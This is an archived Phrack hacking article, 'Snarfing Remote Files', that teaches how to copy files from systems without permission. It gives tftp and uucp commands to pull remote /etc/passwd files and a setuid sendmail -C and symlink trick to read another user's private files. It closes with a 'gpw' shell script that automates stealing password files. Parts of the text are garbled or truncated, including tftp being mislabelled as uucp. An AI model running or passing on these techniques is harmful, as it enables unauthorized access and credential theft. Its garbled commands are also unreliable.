AOH :: P28-06.TXT

Snarfing Remote Files

                                ==Phrack Inc.==

                     Volume Three, Issue 28, File #6 of 12

                     +                                   +
                     +       Snarfing Remote Files       +
                     +                                   +
                     +                by                 +
                     +                                   +
                     +           Dark OverLord           +
                     +                                   +

There are many ways of getting copies of files from a remote
system that you do not have permission to read or an account on
login on to and access them through.  Many administrators do not
even bother to restrict many access points that you can use.

Here are the simplest ways:

A)  Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy
    of a file if you are running on an Internet based network.

B) Abuse uucp(1) [Unix to Unix Copy Program] to retrieve a copy
   of a file if uucp connections are running on that system.

C) Access one of many known security loopholes.

In the following examples, we will use the passwd file as the
file to acquire since it is a readable file that can be found on
most systems that these attacks are valid on.

Method A :

1) First start the tftp program:  Enter the command:


    [You have the following prompt:]


2) The next step is to connect to the system that you wish to
    retrieve files from.  At the tftp, type:

 tftp> connect

3) Now request the file you wish to get a copy of (in our case, the
    passwd file /etc/passwd ):

 tftp> get /etc/passwd /tmp/passwd

    [You should see something that looks like the following:]

 Received 185659 bytes in 22 seconds.

4) Now exit the tftp program with the "quit" command:

 tftp> quit

You should now have a copy of's passwd file in
your directory.

NOTE:  Some Unix systems' tftp programs have a different syntax.
       The above was tested under SunOS 4.0

For example, on Apollos, the syntax is:

    tftp -{g|g!|p|r|w} <local file> <host> <foreign file>

Thus you must use the command:

 tftp -g password_file networked-host /etc/passwd

Consult your local "man" pages for more info (or in other words

At the end of this article, I will include a shell script that
will snarf a password file from a remote host.  To use it type:

 gpw system_name

Method B :

Assuming we are getting the file  /etc/passwd  from the system
uusucker, and our system has a direct uucp connection to that
system, it is possible to request a copy of the file through the
uucp links.  The following command will request that a copy of
the passwd file be copied into uucp's home directory
/usr/spool/uucppublic :

 uucp -m uusucker!/etc/passwd '>uucp/uusucker_passwd'

The flag "-m" means you will be notified by mail when the transfer is

Method C:

    The third possible way to access the desired file requires
that you have the login permission to the system.

In this case we will utilize a well-known bug in Unix's sendmail

The sendmail program has and option "-C" in which you can specify
the configuration file to use (by default this file is
/usr/lib/ or /etc/  It should also be
noted that the diagnostics outputted by sendmail contain the
offending lines of text.  Also note that the sendmail program
runs setuid root.

The way you can abuse this set of facts (if you have not yet
guessed) is by specifying the file you wish read as the
configuration file.  Thus the command:

 sendmail -C/usr/accounts/random_joe/private/file

Will give you a copy of random joe's private file.

Another similar trick is to symlink your .mailcf file to joe's
file and mail someone.  When mail executes sendmail (to send the
mail), it will load in your .mailcf and barf out joe's stuff.

First, link joe's file to your .mailcf .

 ln -s /usr/accounts/random_joe/private/file $HOME/.mailcf

Next, send mail to someone.


And have fun.

-=-Cut Here=-=-=-Cut Here=-=-=- =-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-=
: gpw copyright(c) Dark Overlord
/usr/ucb/tftp $1 << EOF
mode ascii
get /etc/passwd /tmp/pw.$1
-=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-=

AOH Site layout & design copyright © 2006 AOH